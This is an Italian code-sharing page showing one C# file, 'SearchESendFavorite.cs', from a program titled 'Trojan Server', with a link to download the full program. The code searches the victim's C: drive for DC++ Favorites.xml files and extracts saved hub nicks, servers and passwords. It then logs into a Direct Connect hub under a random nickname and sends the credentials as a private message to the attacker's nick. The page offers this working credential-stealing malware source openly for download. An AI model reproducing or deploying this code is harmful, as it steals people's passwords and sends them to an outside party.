Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Server - SearchESendFavorite.cs

SearchESendFavorite.cs

Caricato da:
Scarica il programma completo

  1. using System;
  2. using System.IO;
  3. using System.Drawing;
  4. using System.Collections;
  5. using System.ComponentModel;
  6. using System.Windows.Forms;
  7. using System.Data;
  8. using System.Net;
  9. using System.Threading;
  10. using System.Net.Sockets;
  11. using System.Text;
  12. using System.Security.Cryptography;
  13.  
  14. namespace Server
  15. {
  16.         /// <summary>
  17.         /// Summary description for SearchESendFavorite.
  18.         /// </summary>
  19.         public class SearchESendFavorite
  20.         {
  21.                 private IPHostEntry host;
  22.                 private Socket socket;
  23.                 private string lock1epk;
  24.                 private IPEndPoint indirizzoeporta;
  25.                 private Random rand = new Random();
  26.                 private string path;
  27.             private string nick;
  28.     private string hub;
  29. string pporta;
  30.                 private System.Windows.Forms.RichTextBox r;
  31.                 private System.Windows.Forms.RichTextBox r1;
  32.                 public SearchESendFavorite(System.Windows.Forms.RichTextBox r,System.Windows.Forms.RichTextBox r1,string nick,string hub,string pporta)
  33.                 {
  34.                         this.r=r;
  35.                         this.r1=r1;
  36.                         this.nick = nick;
  37.                         this.hub = hub;
  38.             this.pporta = pporta;
  39.                 }
  40.                 public void RunMe()
  41.                 {      
  42.                         Cerca("C:\\");
  43.                         //Cerca("D:\\");
  44.                         //Cerca("E:\\");
  45.                         //Cerca("F:\\");
  46.                         //Cerca("G:\\");
  47.                         //Cerca("H:\\");
  48.                         //Cerca("I:\\");
  49.                         //Cerca("L:\\");
  50.                 }
  51.                 public void Cerca(string path)
  52.                 {
  53.                         try
  54.                         {
  55.                                 string[] dirs1 = Directory.GetDirectories(@path);
  56.                                 string[] dirs2 = Directory.GetFiles(@path,"Favorites.xml");
  57.                                 foreach (string dir in dirs2)
  58.                                 {
  59.                                         r1.Text+=dir;
  60.                                         MandaMessaggio(dir);
  61.                                 }
  62.                                 foreach (string dir in dirs1)
  63.                                 {
  64.                                         r.Text=path+"\n";
  65.                                         Cerca(dir);
  66.                                 }
  67.                         }
  68.                         catch(UnauthorizedAccessException)
  69.                         {
  70.  
  71.                         }
  72.                         catch(DirectoryNotFoundException)
  73.                         {
  74.  
  75.                         }
  76.                         catch(IOException)
  77.                         {
  78.                        
  79.                         }
  80.                 }
  81.                 private string GeneraNickCasuali()
  82.                 {
  83.                         string nome = "";
  84.                         int max = rand.Next(4,8);
  85.                         int i;
  86.                        
  87.                         for(i=0;i<max;i++)
  88.                         {              
  89.                                 int g = rand.Next(97,122);
  90.                                 nome += (char)g;
  91.                         }
  92.                         return nome;
  93.                 }
  94.                 private string Lokkazzo()
  95.                 {
  96.                         char[] sep = Encoding.Default.GetChars(Encoding.Default.GetBytes("|"));
  97.                         string[] lock2 = lock1epk.Split(sep);
  98.                         string lokkazzo2="";
  99.                         foreach(string s in lock2)
  100.                         {
  101.                                 if(s.Substring(0,5)=="$Lock")
  102.                                 {
  103.                                         string s1 = s.Replace("$Lock ","");
  104.                                         char[] sep2 = Encoding.Default.GetChars(Encoding.Default.GetBytes(" "));
  105.                                         string[] s2 = s1.Split(sep2);
  106.                                         foreach(string l in s2)
  107.                                         {
  108.                                                 if(l.Substring(0,2)!="Pk")
  109.                                                 {
  110.                                                         lokkazzo2=l;
  111.                                                 }
  112.                                         }
  113.                                 }
  114.                         }
  115.                         return lokkazzo2;
  116.                 }
  117.                 public void ElaboraFavorite(string f,string nome)
  118.                 {
  119.                         string lol3="";
  120.                         string lol2="";
  121.                         char[] sep = Encoding.Default.GetChars(Encoding.Default.GetBytes("<"));
  122.                         string[] f1 = f.Split(sep);
  123.                         foreach(string a in f1)
  124.                         {
  125.                                 if(a!="" && a.Length>=8)
  126.                                 {
  127.                                         try
  128.                                         {
  129.                                                 if(a.Substring(0,8)=="Hub Name")
  130.                                                 {
  131.                                                         char[] space = Encoding.Default.GetChars(Encoding.Default.GetBytes(" "));
  132.                                                         string[] spacesplit = a.Split(space);
  133.                                                         foreach(string a1 in spacesplit)
  134.                                                         {
  135.                                                                 if(a1!="" && a1.Length>4)
  136.                                                                 {
  137.                                                                         if(a1.Substring(0,8)=="Password")
  138.                                                                         {
  139.                                                                                 if(a1.Substring(10,2)=="\"\"")
  140.                                                                                 {
  141.                                                                                         return;
  142.                                                                                 }
  143.                                                                                 lol2+=a1+"  ";
  144.                                                                         }
  145.                                                                         if(a1.Substring(0,4)=="Nick")
  146.                                                                         {
  147.                                                                                 lol2+=a1+"  ";
  148.                                                                         }
  149.                                                                         if(a1.Substring(0,6)=="Server")
  150.                                                                         {
  151.                                                                                 lol2+=a1+"  ";
  152.                                                                         }
  153.                                                                 }
  154.                                                         }
  155.                                                         lol3+=lol2+"\n";
  156.                                                         lol2="";
  157.                                                 }
  158.                                                
  159.                                         }
  160.                                         catch(IndexOutOfRangeException)
  161.                                         {
  162.                                                
  163.                                         }
  164.                                         catch(ArgumentOutOfRangeException)
  165.                                         {
  166.  
  167.                                         }
  168.                                 }
  169.                         }
  170.                         if(lol3!="")
  171.                         {
  172.                                
  173.                                 byte[] msg3 = Encoding.Default.GetBytes("$To: "+nick+" From: "+nome+" $<"+nome+"> "+lol3+"|");
  174.                                 socket.Send(msg3);
  175.                                 lol3="";
  176.                         }
  177.                 }
  178.                 public void MandaMessaggio(string favorites)
  179.                 {
  180.                         try
  181.                         {
  182.                                
  183.                                 string nome = GeneraNickCasuali();
  184.                                 host = Dns.Resolve(hub);
  185.                                 foreach(IPAddress ip in host.AddressList)
  186.                                 {
  187.                                         indirizzoeporta = new IPEndPoint(ip, Convert.ToInt32(pporta));
  188.                                         socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  189.                                         socket.Connect(indirizzoeporta);
  190.                                 }
  191.                                 byte[] buffer = new byte[1024*1024];
  192.                                 socket.Receive(buffer);
  193.                                 lock1epk=Encoding.Default.GetString(buffer);
  194.                                 if(lock1epk.Substring(0,1)!="$")
  195.                                 {
  196.                                         return;
  197.                                 }
  198.                                 string lokkazzo2 = Lokkazzo();
  199.                                 byte[] keybyte = ConvertingLock.getKey(Encoding.Default.GetBytes(lokkazzo2));
  200.                                 string keystring = Encoding.Default.GetString(keybyte);
  201.                                 byte[] msg = Encoding.Default.GetBytes("$Key "+keystring+"|$ValidateNick "+nome+"|");
  202.                                 socket.Send(msg);
  203.                                 socket.Receive(buffer);
  204.                                 long share = rand.Next(15000,25000);
  205.                                 byte[] msg2 = Encoding.Default.GetBytes("$Version 1,0091|$GetNickList|$MyINFO $ALL "+nome+" <++ V:0.401,M:A,H:1/0/0,S:3>$ $LAN(T3)$$"+Convert.ToString(share*10000000)+"$|");
  206.                                 socket.Send(msg2);
  207.  
  208.                                 string path = @favorites;
  209.                                 string favorite="";
  210.                                 Encoding myEncoding = Encoding.GetEncoding(1252);
  211.                                 FileStream fs = File.Open(path,FileMode.Open, FileAccess.Read, FileShare.None);
  212.                                 StreamReader sr = new StreamReader(fs,myEncoding);
  213.                                 string s = "";
  214.                                 while ((s = sr.ReadLine()) != null)
  215.                                 {
  216.                                         favorite+=s;
  217.                                 }
  218.                                 ElaboraFavorite(favorite,nome);
  219.                         }
  220.                         catch(SocketException)
  221.                         {
  222.                
  223.                         }
  224.                 }
  225.         }
  226. }